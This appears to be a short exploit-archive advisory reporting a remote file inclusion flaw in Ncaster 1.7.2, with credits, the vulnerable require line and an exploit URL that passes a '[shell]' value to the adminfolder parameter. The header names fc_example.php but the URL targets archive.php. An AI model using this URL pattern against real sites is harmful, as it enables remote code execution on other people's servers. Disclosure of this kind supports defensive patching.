Ncaster version 1.7.2 suffers from a remote file inclusion vulnerability in fc_example.php.
7c082e82271aa0972dda227e4e9df3fd075091fb5b39177492e35fb77550b8ea
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts : Ncaster 1.7.2
Discovered By : k1n9k0ng
Scripts site : https://ncastercms.com/downloads/ncaster172.zip
Thanks To : #sekuritionline, #semprol, #mimid, #r.i.p, #x-code, #yogyafree
special To : adhietslank, babypunk, bugs_, cyberlog, cah_gemblunkz
site : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
bug Script:
require("$adminfolder/sources/datelib.php");
bug found:
"https://www.site.net/ncaster/admin/addons/archive/archive.php?adminfolder=[shell]"